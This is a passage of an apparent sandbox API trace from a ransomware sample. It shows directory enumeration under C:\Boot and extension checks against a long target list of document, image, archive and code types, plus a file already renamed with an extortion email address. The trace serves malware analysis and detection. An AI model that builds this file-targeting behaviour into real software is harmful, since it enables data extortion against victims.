	[0166.343] lstrlenW (lpString=".pst") returned 4
	[0166.343] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".ptx") returned 4
	[0166.343] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".pub") returned 4
	[0166.343] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".pwm") returned 4
	[0166.343] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".pxr") returned 4
	[0166.343] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".py") returned 3
	[0166.343] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0166.343] lstrlenW (lpString=".qt") returned 3
	[0166.343] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0166.343] lstrlenW (lpString=".r3d") returned 4
	[0166.343] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".raf") returned 4
	[0166.343] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0166.344] lstrlenW (lpString=".rar") returned 4
	[0166.344] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.344] lstrlenW (lpString=".raw") returned 4
	[0166.344] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0166.344] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x82a2ba9e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82a2ba9e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82a2ba9e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTST~1.HTM")) returned 1
	[0166.344] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0166.344] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0166.344] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.345] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0166.347] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.347] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.347] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.347] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.347] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0166.347] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0166.347] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0166.347] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13
	[0166.348] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\da-DK") returned 1
	[0166.348] lstrlenW (lpString="da-DK") returned 5
	[0166.348] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-DK") returned -1
	[0166.348] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0166.348] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13
	[0166.348] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abb18
	[0166.349] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.349] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0166.349] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.349] lstrlenW (lpString=".1cd") returned 4
	[0166.349] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.349] lstrlenW (lpString=".3ds") returned 4
	[0166.349] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0166.349] lstrlenW (lpString=".3fr") returned 4
	[0166.349] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0166.349] lstrlenW (lpString=".3g2") returned 4
	[0166.349] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0166.349] lstrlenW (lpString=".3gp") returned 4
	[0166.349] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0166.349] lstrlenW (lpString=".7z") returned 3
	[0166.349] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.349] lstrlenW (lpString=".accda") returned 6
	[0166.349] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".accdb") returned 6
	[0166.350] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".accdc") returned 6
	[0166.350] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".accde") returned 6
	[0166.350] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".accdt") returned 6
	[0166.350] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".accdw") returned 6
	[0166.350] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0166.350] lstrlenW (lpString=".adb") returned 4
	[0166.350] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".adp") returned 4
	[0166.350] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".ai") returned 3
	[0166.350] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0166.350] lstrlenW (lpString=".ai3") returned 4
	[0166.350] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".ai4") returned 4
	[0166.350] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".ai5") returned 4
	[0166.350] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".ai6") returned 4
	[0166.350] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0166.350] lstrlenW (lpString=".ai7") returned 4
	[0166.350] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".ai8") returned 4
	[0166.351] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".anim") returned 5
	[0166.351] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0166.351] lstrlenW (lpString=".arw") returned 4
	[0166.351] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".as") returned 3
	[0166.351] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0166.351] lstrlenW (lpString=".asa") returned 4
	[0166.351] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".asc") returned 4
	[0166.351] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".ascx") returned 5
	[0166.351] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0166.351] lstrlenW (lpString=".asm") returned 4
	[0166.351] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".asmx") returned 5
	[0166.351] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0166.351] lstrlenW (lpString=".asp") returned 4
	[0166.351] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".aspx") returned 5
	[0166.351] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0166.351] lstrlenW (lpString=".asr") returned 4
	[0166.351] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0166.351] lstrlenW (lpString=".asx") returned 4
	[0166.351] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".avi") returned 4
	[0166.352] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".avs") returned 4
	[0166.352] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".backup") returned 7
	[0166.352] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0166.352] lstrlenW (lpString=".bak") returned 4
	[0166.352] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".bay") returned 4
	[0166.352] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".bd") returned 3
	[0166.352] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0166.352] lstrlenW (lpString=".bin") returned 4
	[0166.352] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".bmp") returned 4
	[0166.352] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".bz2") returned 4
	[0166.352] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".c") returned 2
	[0166.352] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0166.352] lstrlenW (lpString=".cdr") returned 4
	[0166.352] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".cer") returned 4
	[0166.352] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0166.352] lstrlenW (lpString=".cf") returned 3
	[0166.353] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0166.353] lstrlenW (lpString=".cfc") returned 4
	[0166.353] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".cfm") returned 4
	[0166.353] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".cfml") returned 5
	[0166.353] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0166.353] lstrlenW (lpString=".cfu") returned 4
	[0166.353] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".chm") returned 4
	[0166.353] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".cin") returned 4
	[0166.353] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".class") returned 6
	[0166.353] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0166.353] lstrlenW (lpString=".clx") returned 4
	[0166.353] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".config") returned 7
	[0166.353] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0166.353] lstrlenW (lpString=".cpp") returned 4
	[0166.353] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".cr2") returned 4
	[0166.353] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0166.353] lstrlenW (lpString=".crt") returned 4
	[0166.353] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".crw") returned 4
	[0166.354] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".cs") returned 3
	[0166.354] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0166.354] lstrlenW (lpString=".css") returned 4
	[0166.354] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".csv") returned 4
	[0166.354] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".cub") returned 4
	[0166.354] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dae") returned 4
	[0166.354] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dat") returned 4
	[0166.354] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".db") returned 3
	[0166.354] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0166.354] lstrlenW (lpString=".dbf") returned 4
	[0166.354] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dbx") returned 4
	[0166.354] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dc3") returned 4
	[0166.354] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dcm") returned 4
	[0166.354] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0166.354] lstrlenW (lpString=".dcr") returned 4
	[0166.355] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".der") returned 4
	[0166.355] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".dib") returned 4
	[0166.355] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".dic") returned 4
	[0166.355] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".dif") returned 4
	[0166.355] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".divx") returned 5
	[0166.355] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1
	[0166.355] lstrlenW (lpString=".djvu") returned 5
	[0166.355] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1
	[0166.355] lstrlenW (lpString=".dng") returned 4
	[0166.355] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".doc") returned 4
	[0166.355] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".docm") returned 5
	[0166.355] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1
	[0166.355] lstrlenW (lpString=".docx") returned 5
	[0166.355] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.355] lstrlenW (lpString=".dot") returned 4
	[0166.355] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0166.355] lstrlenW (lpString=".dotm") returned 5
	[0166.355] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1
	[0166.356] lstrlenW (lpString=".dotx") returned 5
	[0166.356] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1
	[0166.356] lstrlenW (lpString=".dpx") returned 4
	[0166.356] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dqy") returned 4
	[0166.356] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dsn") returned 4
	[0166.356] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dt") returned 3
	[0166.356] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0166.356] lstrlenW (lpString=".dtd") returned 4
	[0166.356] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dwg") returned 4
	[0166.356] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dwt") returned 4
	[0166.356] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".dx") returned 3
	[0166.356] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0166.356] lstrlenW (lpString=".dxf") returned 4
	[0166.356] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0166.356] lstrlenW (lpString=".edml") returned 5
	[0166.356] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1
	[0166.356] lstrlenW (lpString=".efd") returned 4
	[0166.357] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".elf") returned 4
	[0166.357] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".emf") returned 4
	[0166.357] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".emz") returned 4
	[0166.357] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".epf") returned 4
	[0166.357] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".eps") returned 4
	[0166.357] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".epsf") returned 5
	[0166.357] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0166.357] lstrlenW (lpString=".epsp") returned 5
	[0166.357] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0166.357] lstrlenW (lpString=".erf") returned 4
	[0166.357] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".exr") returned 4
	[0166.357] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".f4v") returned 4
	[0166.357] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".fido") returned 5
	[0166.357] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0166.357] lstrlenW (lpString=".flm") returned 4
	[0166.357] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.357] lstrlenW (lpString=".flv") returned 4
	[0166.358] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".frm") returned 4
	[0166.358] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".fxg") returned 4
	[0166.358] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".geo") returned 4
	[0166.358] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".gif") returned 4
	[0166.358] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".grs") returned 4
	[0166.358] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".gz") returned 3
	[0166.358] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.358] lstrlenW (lpString=".h") returned 2
	[0166.358] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.358] lstrlenW (lpString=".hdr") returned 4
	[0166.358] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".hpp") returned 4
	[0166.358] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".hta") returned 4
	[0166.358] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".htc") returned 4
	[0166.358] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.358] lstrlenW (lpString=".htm") returned 4
	[0166.358] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".html") returned 5
	[0166.359] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0166.359] lstrlenW (lpString=".icb") returned 4
	[0166.359] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".ics") returned 4
	[0166.359] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".iff") returned 4
	[0166.359] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".inc") returned 4
	[0166.359] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".indd") returned 5
	[0166.359] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0166.359] lstrlenW (lpString=".ini") returned 4
	[0166.359] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".iqy") returned 4
	[0166.359] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".j2c") returned 4
	[0166.359] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".j2k") returned 4
	[0166.359] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".java") returned 5
	[0166.359] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0166.359] lstrlenW (lpString=".jp2") returned 4
	[0166.359] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.359] lstrlenW (lpString=".jpc") returned 4
	[0166.360] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".jpe") returned 4
	[0166.360] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".jpeg") returned 5
	[0166.360] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0166.360] lstrlenW (lpString=".jpf") returned 4
	[0166.360] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".jpg") returned 4
	[0166.360] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".jpx") returned 4
	[0166.360] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".js") returned 3
	[0166.360] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.360] lstrlenW (lpString=".jsf") returned 4
	[0166.360] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".json") returned 5
	[0166.360] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0166.360] lstrlenW (lpString=".jsp") returned 4
	[0166.360] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".kdc") returned 4
	[0166.360] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".kmz") returned 4
	[0166.360] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".kwm") returned 4
	[0166.360] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.360] lstrlenW (lpString=".lasso") returned 6
	[0166.361] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0166.361] lstrlenW (lpString=".lbi") returned 4
	[0166.361] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".lgf") returned 4
	[0166.361] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.361] lstrlenW (lpString=".lgp") returned 4
